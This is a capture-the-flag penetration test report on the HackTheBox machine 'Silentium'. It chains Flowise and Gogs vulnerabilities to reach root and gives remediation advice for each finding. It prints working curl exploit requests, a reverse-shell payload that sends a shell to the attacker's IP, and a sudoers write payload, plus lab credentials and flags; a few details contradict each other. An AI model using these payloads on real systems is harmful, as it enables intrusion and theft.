PENETRATION TEST REPORT

HackTheBox — Silentium (Linux, Easy)

Target	`10.129.64.222 — silentium.htb`
Attacker	`10.10.14.26 (HTB VPN / tun0)`
Date	May 16, 2026
Platform	HackTheBox — Easy / Linux
CVEs	`CVE-2025-58434, CVE-2025-59528, CVE-2025-8110`
Final Access	`root@silentium (uid=0)`

1. Executive Summary

This report documents a penetration test conducted against the HackTheBox machine Silentium, a Linux-based system rated Easy difficulty. The engagement simulated an unauthenticated external attacker and resulted in complete root-level compromise of the target system.

The attack chain exploited three chained vulnerabilities across two different applications — Flowise AI (a staging deployment) and Gogs (an internal Git service). No brute-force of credentials was required; the entire chain relied on logic flaws, insecure code evaluation, credential exposure, and a symlink-based file write.

- Unauthenticated password reset token disclosure in Flowise 3.0.5 (CVE-2025-58434, CVSS 9.8) — full admin account takeover.
- Remote code execution via the CustomMCP node (CVE-2025-59528, CVSS 10.0) — shell inside Docker container as root.
- SSH credentials exposed in Docker environment variables — lateral movement to host as user ben.
- Symlink arbitrary file write in Gogs 0.13.3 running as root (CVE-2025-8110) — full privilege escalation.

2. Scope & Methodology

2.1 Scope

Target IP	`10.129.64.222`
Hostnames	`silentium.htb, staging.silentium.htb`
Open Ports	TCP/22 (SSH), TCP/80 (HTTP/nginx), TCP/3001 internal (Gogs)
Assessment Type	Black-box external penetration test

2.2 Methodology

- Reconnaissance — Nmap port scanning, ffuf subdomain enumeration, web application fingerprinting.
- Vulnerability Research — CVE lookup on identified software versions (Flowise 3.0.5, Gogs 0.13.3).
- Exploitation — Chaining CVE-2025-58434 + CVE-2025-59528 for initial access; CVE-2025-8110 for root.
- Post-Exploitation — Container environment inspection, credential extraction, host pivot via SSH.

3. Findings Summary

ID	Title	Severity	Component
FIND-001	Unauthenticated Password Reset Token Disclosure (CVE-2025-58434)	**Critical**	Flowise 3.0.5 API
FIND-002	CustomMCP Node Remote Code Execution (CVE-2025-59528)	**Critical**	Flowise 3.0.5 CustomMCP
FIND-003	Sensitive SSH Credentials in Docker Environment Variables	**High**	Docker Container (env vars)
FIND-004	Gogs Symlink Arbitrary File Write — Root Escalation (CVE-2025-8110)	**Critical**	Gogs 0.13.3 (runs as root)

4. Attack Chain Overview

STEP 1: Subdomain Discovery — ffuf reveals staging.silentium.htb running Flowise 3.0.5
STEP 2: CVE-2025-58434 — Unauthenticated forgot-password leaks tempToken for ben@silentium.htb
STEP 3: Account Takeover — Password reset with leaked token → admin login → API key obtained
STEP 4: CVE-2025-59528 — CustomMCP node executes injected JavaScript → reverse shell as root in Docker container
STEP 5: Credential Harvesting — env vars in container: SMTP_PASSWORD=r04D!!_R4ge → SSH as ben → user.txt
STEP 6: CVE-2025-8110 — Gogs 0.13.3 as root (port 3001): symlink + API write to /etc/sudoers.d/ben → NOPASSWD ALL
STEP 7: Full Compromise — sudo su → uid=0(root) → root.txt

5. Detailed Findings

FIND-001 — CVE-2025-58434: Unauthenticated Password Reset Token Disclosure

Finding ID	**FIND-001**	**Severity**	**Critical**
Title	**Unauthenticated Password Reset Token Disclosure**		
CVE	CVE-2025-58434	**CVSS**	**9.8**
Affected	Flowise 3.0.5 — /api/v1/account/forgot-password		
Description	The Flowise forgot-password endpoint returns the user's full object in the API response, including a valid password reset tempToken, without requiring any authentication. An attacker with a known email address can instantly obtain a reset token and use it to take over any account. The user's email (ben@silentium.htb) was identified from the public leadership page on the main website.		
Impact	Complete account takeover of any Flowise user, including administrators. Enables further exploitation via CVE-2025-59528.		

Proof of Concept	`# 1. Leak the tempToken from the forgot-password endpoint`
	`curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \`
	`-H "Content-Type: application/json" \`
	`-d '{"user":{"email":"ben@silentium.htb"}}'`
	
	`# Response (abbreviated):`
	{"user":{"name":"admin","email":"ben@silentium.htb","tempToken":"8PdJmGlScH...","tokenExpiry":"2026-05-16T20:57:55Z"}}
	
	`# 2. Reset password with the leaked token`
	`curl -s -X POST http://staging.silentium.htb/api/v1/account/reset-password \`
	`-H "Content-Type: application/json" \`
	`-d '{"user":{"email":"ben@silentium.htb","tempToken":"8PdJmGlScH...","password":"Hacked@123"}}'`
	
	`# HTTP 201 — password successfully reset`
	
	`# 3. Login as admin`
	`curl -s -X POST http://staging.silentium.htb/api/v1/auth/login \`
	`-H "Content-Type: application/json" \`
	`-d '{"email":"ben@silentium.htb","password":"Hacked@123"}'`
	
	`# Response: {"name":"admin","isOrganizationAdmin":true,...}`		

Remediation	• Upgrade Flowise to version 3.0.6 or later (patch commit 9e178d68).		

	• Never return password reset tokens in API responses — deliver tokens only via email. • Implement rate limiting on the forgot-password endpoint. • Restrict Flowise admin interfaces with firewall rules or VPN.

FIND-002 — CVE-2025-59528: CustomMCP Node Remote Code Execution

Finding ID	**FIND-002**	**Severity**	**Critical**
Title	**CustomMCP Node JavaScript Injection — Remote Code Execution**		
CVE	CVE-2025-59528	**CVSS**	**10.0**
Affected	Flowise 3.0.5 — /api/v1/node-load-method/customMCP		
Description	The CustomMCP node processes user-supplied mcpServerConfig strings by passing them directly to JavaScript's Function() constructor — equivalent to eval(). The vulnerable convertToValidJSONString function executes: Function('return ' + userInput)(), evaluating arbitrary JavaScript with full Node.js runtime privileges. An attacker with a valid API key can send an IIFE payload that spawns a reverse shell. Since Flowise ran as root inside the Docker container, code execution was obtained as root.		
Impact	Full RCE on the Flowise server as root. Complete file system access, credential exfiltration, and ability to pivot to the host network.		

Proof of Concept	`# Prerequisite: API key obtained from Flowise dashboard after FIND-001`
	APIKEY=hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc
	
	`# Allow inbound connections on attacker machine (iptables was blocking port 80)`
	`iptables -I INPUT -p tcp --dport 80 -j ACCEPT`
	`nc -lvnp 80`
	
	`# Send exploit payload (cp.exec used — async, avoids blocking the HTTP response)`
	`curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \`
	-X POST -H "Content-Type: application/json" \
	-H "Authorization: Bearer $APIKEY" \
	-d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.26 80 >/tmp/f\");return 1;})()})"}}'
	
	`# Shell received:`
	`connect to [10.10.14.26] from (UNKNOWN) [10.129.64.222] 46771`		

	`/ # id`
	`uid=0(root) gid=0(root) groups=0(root)`
	`/ # hostname`
	c78c3cceb7ba

Remediation	• Upgrade Flowise to 3.0.6 — the fix replaces Function() with JSON5.parse(), preventing code execution. • Run Flowise as a non-root unprivileged user inside the container. • Apply API key IP allowlisting and scope-based access controls. • Implement Docker network egress filtering to block outbound reverse shells.

FIND-003 — Sensitive SSH Credentials in Docker Environment Variables

Finding ID	**FIND-003**	**Severity**	**High**
Title	**SSH Credentials Hardcoded in Container Environment Variables**		
CVE	N/A — Configuration Issue	**CVSS**	**N/A**
Affected	Flowise Docker container — process environment		
Description	After achieving code execution inside the Docker container, inspection of environment variables revealed multiple plaintext credentials, including the SSH password for the host user ben. The SMTP_PASSWORD variable contained the value r04D!!_R4ge, which was reused as the OS-level SSH password for the ben account on the host. This allowed immediate lateral movement from the Docker container to the underlying host system via SSH.		
Impact	Host-level access as user ben. Exfiltration of user.txt and foothold for further privilege escalation.		

Proof of Concept	`# From within the Docker container:`
	`env`
	
	`# Key findings in output:`
	`FLOWISE_USERNAME=ben`
	`FLOWISE_PASSWORD=F113_d0ck3r`
	`SMTP_PASSWORD=r04D!!_R4ge`
	`JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCD`
	`D`
	
	`# SSH to host using credential reuse:`
	`ssh ben@silentium.htb   # password: r04D!!_R4ge`
	
	`ben@silentium:~$ cat user.txt`
	c6ff6662b884efb2ba427064c628f9f9		

Remediation	• Replace environment variable secrets with a proper secrets manager (Vault, AWS Secrets Manager, Docker Secrets).		

	• Enforce unique passwords for every service — never reuse application passwords as OS credentials. • Rotate all exposed credentials immediately: Flowise password, SMTP password, SSH password, JWT secrets. • Implement Docker network segmentation to prevent containers from reaching host SSH.

FIND-004 — CVE-2025-8110: Gogs Symlink Arbitrary File Write (Root Escalation)

Finding ID	**FIND-004**	**Severity**	**Critical**
Title	**Gogs Arbitrary File Write via Symlink — Privilege Escalation to Root**		
CVE	CVE-2025-8110	**CVSS**	**9.9**
Affected	Gogs 0.13.3 — internal port 3001, running as root		
Description	Gogs 0.13.3 does not validate symbolic links when processing repository file operations via its API. An attacker can push a symlink pointing to an arbitrary host file into a repository, then use the Gogs Contents PUT API to write arbitrary data through the symlink. Since Gogs ran as root (RUN_USER = root in app.ini), the file write is performed with root privileges. This was exploited to write a sudoers entry granting ben unrestricted NOPASSWD sudo access.		
Impact	Complete privilege escalation to root on the host. Full system compromise, access to root.txt.		

Proof of Concept	`# 1. Forward Gogs internal port to attacker machine`
	`ssh -L 8080:127.0.0.1:3001 ben@silentium.htb`
	
	`# 2. Register attacker Gogs account via browser at http://127.0.0.1:8080`
	`#    Username: attacker1 / Password: Attacker1pass`
	
	`# 3. Create repository 'pwned' via Gogs web UI`
	
	`# 4. Exploit script: login, get API token, clone repo, push symlink, PUT payload`
	`python3 gogs_exploit.py --url http://127.0.0.1:8080 --username attacker1 --password Attacker1pass`
	
	`[+] Logged in`
	`[+] Application token: da005c4139f5a941bce444030b35809a56ec2a6f`		

```
[+] Symlink pushed (symlink ->
/etc/sudoers.d/ben)
[+] Exploit: 201  (payload: 'ben ALL=(ALL)
NOPASSWD: ALL\n' written via API)
```

```
# 5. Verify root access
ben@silentium:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)
```

```
ben@silentium:~$ sudo cat /root/root.txt
```

134e05fc0e2720194a03d11fcf61d0bc

Remediation

- Upgrade Gogs to the latest version that patches CVE-2025-8110.
- Run Gogs as a dedicated non-root service account — never as root.
- Restrict Gogs to internal access only; require VPN or SSH tunnel for all access.
- Enable symlink validation in Git server configuration to reject symlinks pointing outside the repository.
- Monitor /etc/sudoers.d/ with auditd for unauthorized modifications.

6. Credentials Discovered

Account	Password	Service / Source
`ben@silentium.htb`	`F1l3_d0ck3r`	Flowise (original, from Docker env vars)
`ben@silentium.htb`	`Hacked@123`	Flowise (reset by attacker via CVE-2025-58434)
`ben (SSH)`	`r04D!!_R4ge`	Host SSH (from SMTP_PASSWORD container env var)
`attacker1 (Gogs)`	`Attacker1pass`	Gogs (registered by attacker for CVE-2025-8110)

7. Flags

Flag	Hash	Path
user.txt	`c6ff6662b884efb2ba427064c628f9f9`	`/home/ben/user.txt`
root.txt	`134e05fc0e2720194a03d11fcf61d0bc`	`/root/root.txt`

8. Remediation Summary

ID	Remediation Action	Priority	Effort
FIND-001	Upgrade Flowise to 3.0.6+	**Immediate**	Low
FIND-002	Upgrade Flowise to 3.0.6+	**Immediate**	Low
FIND-002	Run Flowise as non-root user	**Immediate**	Low
FIND-002	Add Docker network egress filtering	**High**	Medium
FIND-003	Move secrets to secrets manager (Vault/AWS)	**High**	Medium
FIND-003	Enforce unique passwords per service	**High**	Low
FIND-004	Upgrade Gogs to patched version	**Immediate**	Low
FIND-004	Run Gogs as non-root service account	**Immediate**	Low
FIND-004	Restrict Gogs to localhost / VPN only	**High**	Low

9. Tools Used

Tool	Purpose
`nmap`	Port scanning and service version fingerprinting

Tool	Purpose
`ffuf`	Virtual host / subdomain enumeration
`curl`	Manual API interaction, exploit delivery, response analysis
`tcpdump`	Confirming outbound TCP connections from the target container
`netcat (nc)`	Reverse shell listener on attacker machine
`iptables`	Allowing inbound connections on Kali (policy was DROP)
`sqlite3`	Querying Flowise SQLite database obtained via arbitrary file read
`Python 3 / requests`	CVE-2025-58434 / CVE-2025-59528 exploit scripting
`BeautifulSoup4`	HTML parsing in Gogs exploit (CVE-2025-8110)
`git`	Cloning Gogs repository and pushing malicious symlink
`ssh / ssh -L`	Remote shell access and port forwarding to internal Gogs